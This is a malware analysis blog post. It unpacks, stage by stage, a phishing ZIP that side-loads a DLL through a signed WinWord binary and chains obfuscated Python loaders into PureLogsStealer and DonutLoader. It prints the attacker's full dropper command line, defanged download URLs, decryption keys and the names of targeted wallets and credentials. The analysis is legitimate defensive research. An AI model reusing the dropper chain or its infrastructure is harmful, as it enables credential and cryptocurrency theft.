From WinWord to PureLogsStealer with Malcat

I recently had a suspiciously large attachment to analyze. After a few minutes, I discovered that the reason it was that big was because it was embedding a complete Python 3.10 environment. The malware itself consisted of a byte-compiled Python file (with extension pyc). It was a perfect opportunity to try to unravel all the stages with Malcat and to write a blog post about it (after a year of inactivity…).

All this analysis has been performed in a Virtual Machine and with Malcat 0.9.12 (Full Personal License).

Great thanks to Renaud Tabary for his help and support 🙏

Table of Contents

0x10 The Binary
0x20 The Command Line
0x30 Stage01 : Python Bytecode #1
0x40 Stage02 : Python Bytecode #2
0x50 Stage03 : Python Bytecode #3
0x60 Stage04 : Portable Executable (.NET) and DLL
0x70 Stage05 : Shellcode
0x80 Conclusion

0x10 The Binary

The suspicious attachement is a ZIP file of 137MB which contains a visible executable and hidden/system files & folders. By default the victime will unzip it and will only see the executable.

When FR-TWL-001_Document_de_vérification_de_contenu.EXE is executed, a cmd.exe spawns with a suspicious command line.

The main executable FR-TWL-001_Document_de_vérification_de_contenu.EXE is in fact WinWord.exe, fully legitimate (VT 0/72) executable signed by Microsoft Corporation. After a few test, I came to the conclusion that the file AppvIsvSubsystems64.dll (VT 3/42) is used to load a shellcode from 증거 보고서 - DA 성형외과.docx which is only 465 bytes (Source & Source). When I removed the file, nothing was executed anymore.

The command line : cmd /c cd - && start Google-Ads-Playbook.docx && certutil -decode "DA 성형외과 재무 보고서.pdf" Invoice.pdf && "부가가치세 영수증.jpg" x -ibck -y -pzmQfqAj3LVslM3u9vumkz9p9qjAwWjbG Invoice.pdf C:\Users\Public && del /s /q Invoice.pdf && del /s /q "부가가치세 영수증.jpg" && del /s /q "증거 보고서 - DA 성형외과.docx" && cd C:\Users\Public\Windows && start svchost.exe Lib\images.png ADN_2_NEW_VER_BOT && exitØ뒽ࠀC:\WINDOWS\SYSTEM32\cmd.exe

0x20 The Command Line

The command line contains multiple commands separated by &&.

  • start Google-Ads-Playbook.docx : Open the corrupted document from the “-” folder. Probably just to make the victim more confident.
  • certutil -decode "DA 성형외과 재무 보고서.pdf" Invoice.pdf : Base 64 decode of the file "DA 성형외과 재무 보고서.pdf" into a new file called Invoice.pdf. The new file is in fact a password protected RAR archive.
  • "부가가치세 영수증.jpg" x -ibck -y -pzmQfqAj3LVslM3u9vumkz9p9qjAwWjbG Invoice.pdf C:\Users\Public : The jpg file is in fact Winrar binary, and it’s used to decompress the password protected RAR achive with the password zmQfqAj3LVslM3u9vumkz9p9qjAwWjbG into the folder C:\Users\Public
  • del /s /q Invoice.pdf && del /s /q "부가가치세 영수증.jpg" && del /s /q "증거 보고서 - DA 성형외과.docx" : Clean up.
  • cd C:\Users\Public\Windows : self explanatory.
  • start svchost.exe Lib\images.png ADN_2_NEW_VER_BOT : svchost.exe is in fact Python binary (3.10), Lib\images.png is in fact a Python script and ADN_2_NEW_VER_BOT is the parameter used by the python script.

0x30 Stage01 : Python Bytecode #1

As said above, the Lib\images.png is in fact a Python script with some junk definition in it, the only line doing something is located at line 651.

We see that some transformations are applied to a very large string : base64 decode, then bz2 decompression, then zlib decompression, then it’s loaded as a marshalled object before being executed. We’ll need to apply the transformations and to save the file into a valid pyc file to be able to analyze it with Malcat.

Copy/paste the very large string into a new file called stage01.2-python-payload.txt.

Open stage01.2-python-payload.txt with Malcat, press F4 to view it as text, Ctrl-A to select everything, then Ctrl-T to open the Transform window. Apply the transformation as spotted in the script and click on the New File button.

Now to get a valid pyc file we need to add a valid header to the transformed file.

The structure of a pyc header is :
– 4 bytes of MAGIC_NUMBER which defines the Python version used to compile it
– 4 bytes of BITFIELD which can be set to 0
– 4 bytes of TIMESTAMP or HASH which can be set to 0
– 4 bytes of SIZE (source size) which can be set to 0

In Hexadecimal view (F2), right click on offset 00000000 and insert 16 bytes (0x10).

As the malware is using Python 3.10, we can right click on offset 00000000 and edit the bytes to write : 6F0D0D0A000000000000000000000000

Save the modified file to stage01.3-bytecode.pyc and reopen it with Malcat (or Ctrl-R). Hit F6 to view the strings.

There are some huge strings (in red) that will make any decompiler crash (I tried uncompyle6), and more shorter strings (in blue) starting with the same pattern ?_ngocuyen that are encrypted but guessable (read them backward, 1 character out of 2 …). Hit F8 in Malcat to go to the Scripting window and let’s make a small script to decrypt them.

import malcat

for s in analysis.strings:
	if "?_ngocuyen" in s.text:
		t = s.text.replace("?_ngocuyen", "")[1::2][::-1]
		print(t)

Since the bytecode is heavily obfuscated, instead of trying to reverse it, the trick is to make it print what it does instead of executing it. For this, we need to look into the constant pool of the pyc if the methods exec and print are used.

Hit F2 x2 to go to the Structures view. Hit Ctrl-F and search for text print

We find the method print as Element.7

And method exec as Element.48

Click on the Element.48 to see the code references

Click on the first (and only) reference to jump to the code

We see the bytecode 0x65 (opcode) and 0x30 (name). As 0x30 = 48 (remember Element.48 ?), we need to replace 0x30 by 0x07 (Element.7 is print).

Right click on offset 00002054 and write 6507, then hit Escape. Save the new file as stage01.4-bytecode-patched.pyc

Now the bytecode is patched to use print instead of exec, we can try to run it to see what happens. Don’t forget to use Python 3.10 and to pass the parameter that was seen in the command line : ADN_2_NEW_VER_BOT

The stage01.4-bytecode-patched.pyc will fetch a new script and will print it. Save is to stage02.1-python-original.py

Running Wireshark during execution shows that it reaches 3 domains : t.me, urlvanish.com and bagumedios.cloud.

Navigate to hxxps://t.me/ADN_2_NEW_VER_BOT and get this nice information

Navigate to hxxps://urlvanish.com/P5CMJ, it will redirect to hxxps://bagumedios.cloud/assets/media/others/ADN/final_obf?referer=urlvanish.com%2FP5CMJ and shows the next stage02 (the one we already saved in stage02.1-python-original.py)

0x40 Stage02 : Python Bytecode #2

Similarly to stage01, we can use Malcat to decode the payload and rebuild a valid pyc file. The only difference is that in this stage we’ll use Base85 instead of Base64.

Save the payload from stage02.1-python-original.py into a new file called stage02.2-python-payload.txt, open it in Malcat, press F4 to view it as text, Ctrl-A to select everything, then Ctrl-T to open the Transform window. Apply the transformation as seen in the script and click on New File button.

Same as for stage01, to get a valid pyc file, we’ll insert the following 0x10 bytes at offset 00000000 : 6F0D0D0A000000000000000000000000

Save the modified file as stage02.3-bytecode.pyc and reopen it with Malcat (or Ctrl-R). Hit F6 to view the strings.

We see (in green) clear-text strings related to browser files, and other strings (in blue) encrypted with the same method as in stage01. Again we can use the Script editor (F8) to decrypt them all.

We start to see a lot of interesting strings about :
– Browser files and database
– Antivirus
– Cryptocurrencies related domains, wallets, ledgers
– Keepass
– VPN
– Telegram
– Sandbox, Flare

We see also some interesting URLs :
– “hxxps://www.dropbox.com/scl/fi/slrfiijpj76cotstn17eh/ABE.dll?rlkey=ckm872t3na0rysxeftoj3u5ts&st=ec53jrlc&dl=1” pointing to ABE.dll (sha256 B386FCB293C1B2DDA5E68A8D4753D0D8917885C090D9308BAA09B4C24DC31ED9) highly malicious on VT 29/72
– “hxxps://bagumedios.cloud/assets/media/others/ADN/pure” pointing to another python script

Let’s save this script as stage03.1-python-original.py and continue our analysis.

0x50 Stage03 : Python Bytecode #3

We can repeat the same method as for the 2 previous python scripts :
– Save the payload as stage03.2-python-payload.txt
– Transform the payload with same rules as for Stage02 (base85 decode -> bz2 decompress -> zlib decompress)
– Insert the same header
– Save the transformed file as stage03.3-bytecode.pyc
– Analyse stage03.3-bytecode.pyc with Malcat and go to the Strings view (F6)

We see (in green) 2 clear-text strings which looks like encryption keys of 16 bytes, and (in blue) 2 very long strings encrypted with the same method as seen before.

We’ll start by decrypting the longstring01. Right click on it and select Transform. Since we manipulate utf-8 encoded strings, we first have to replace the only multi-byte encoded character {EFBFBD} by a single character (let’s choose “#“) to not break the decryption routine, then we can apply the same transormations as we did for earlier stages via the Scripts window.

Click on New File and save it as stage03.4-longstring01.txt.

Open stage03.4-longstring01.txt with Malcat, press F4 to view it as text, Ctrl-A to select everything, then Ctrl-T to open the Transform window. Apply the base64 decode transformation, followed by the rc4 with the key01 we saw previously "7d04904ede6d66e9c578f76abdd2e87f". We can see a MZ header in the output.

Click on the New File button and save it as stage03.5-longstring01-b64rc4decoded.bin.

Repeat the same operations with the longstring02 from stage03.3-bytecode.pyc, using the key02 from stage03.3-bytecode.pyc : "f9f806359c942110105e252264fa00ed"
You should have now created stage03.7-longstring02.txt and stage03.8-longstring02-b64rc4decoded.bin starting by bytes E8C0 , typical from a shellcode.

Summary
The stage03.3-bytecode.pyc contained 2 very long strings.
We applied the custom method to them and saved them to :
stage03.4-longstring01.txt
stage03.7-longstring02.txt
Then we applied base64 + rc4 methods to them and saved them respectively to :
stage03.5-longstring01-b64rc4decoded.bin (a PE file) -> we’ll refer to it as stage04 from now on
stage03.8-longstring02-b64rc4decoded.bin (a shellcode) -> we’ll refer to it as stage05 from now on

0x60 Stage04 : Portable Executable (.NET) and DLL

Start by copying stage03.5-longstring01-b64rc4decoded.bin to stage04.0-dotnet.bin and open it with Malcat.

We can see on the Summary view (F1) that the executable contains a big resource with high entropy, typical for compressed (and encrypted) datas.

In the Strings view (F6), there are 2 interesting base64 encoded string. We’ll refer to them as keystring and ivstring.

In the Symbols view (F5), we can see that the executable uses 3DES algorithm.

Let’s try to extract the big resource we saw, and decrypt it using 3DES and the key we spotted in the strings.

Right click on the resource and select Dump to file, save it as stage04.1-ressourcefromdotnet.bin

Still in stage04.0-dotnet.bin, switch to the Strings view (F6)
– Right click on the string keystring (see previous screenshot) and select Transform. Malcat will automatically apply base64 decode transformation. Write the decrypted bytes somewhere as they will be used as key for the 3DES algorithm : {F0FB47ACFAAB44828D925768E6DDB4CD}.

– Right click on the string ivstring (see previous screenshot) and select Transform. Malcat will automatically apply base64 decode transformation. Write the decrypted bytes somewhere as they will be used as key for the 3DES algorithm : {EA3D294E929767C8}.

Open stage04.1-ressourcefromdotnet.bin with Malcat, hit Ctrl-A to select everything, then hit Ctrl-T to open the Transformations.

Add a 3des decrypt transformation with
– mode cbc
– key : {EA3D294E929767C8}
– iv : {EA3D294E929767C8}

Click on the New file button, save it as stage04.2-ressourcefromdotnet-3DESdecoded.bin and open it with Malcat.

We see in the Carved Files that a GZIP file is detected. Right click on it and choose Unpack.

Save the new file as stage04.3-dll.bin. We can see from the Summary view that it’s packed with EzirzDotnetReactor, and after hitting the Online Kesakode server lookup button it will be detected as PureLogsStealer with high confidence. It’s classified as malicious by VT 19/72.

0x70 Stage05 : Shellcode

Start by copying stage03.8-longstring02-b64rc4decoded.bin to stage05.0-shellcode.bin and open it with Malcat. At the bottom of the window, select Shellcode to tell Malcat what kind of file it is.

Hit the Online Kesakode server lookup button and it will be detected as DonutLoader with high confidence.

The DonutLoader is described as an open-source in-memory injector/loader, designed for execution of VBScript, JScript, EXE, DLL files and dotNET assemblies. It was used during attacks against U.S. organisations according to Threat Hunter Team (Symantec) and U.S. Defence contractors (Unit42).a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies. It’s available on GitLab.

Volexity wrote a donut-decryptor and we can use it to retrieve the original .NET assembly.

Two files are created by the donut-decryptor :
inst_stage05.0-shellcode.bin : Text file with information about the extracted module.
mod_stage05.0-shellcode.bin : The extracted module.

While the mod_stage05.0-shellcode.bin doesn’t have the exact same hash as our previous stage04.0-dotnet.bin we can see that it also contains a big resource.

Both resource from mod_stage05.0-shellcode.bin and stage04.0-dotnet.bin are identical, which will lead in the same PureLogsStealer malware after the 3DES decryption.

0x80 Conclusion

We successfully identified the delivery of PureLogsStealer malware strain via DonutLoader from within a ZIP archive containing a legitimate WinWord executable. This discovery required the analysis of multiple layers of obfuscation, file formats, and encryption. Crucially, the entire analysis was performed solely using Malcat, demonstrating its exceptional utility for static malware analysis, bypassing the need for traditional dynamic debugging.

Original ZIP attachment (7z archive / password : infected) :

Files we dealt with during the analysis (7z archive / password : infected) :

Leave a Comment

Your email address will not be published. Required fields are marked *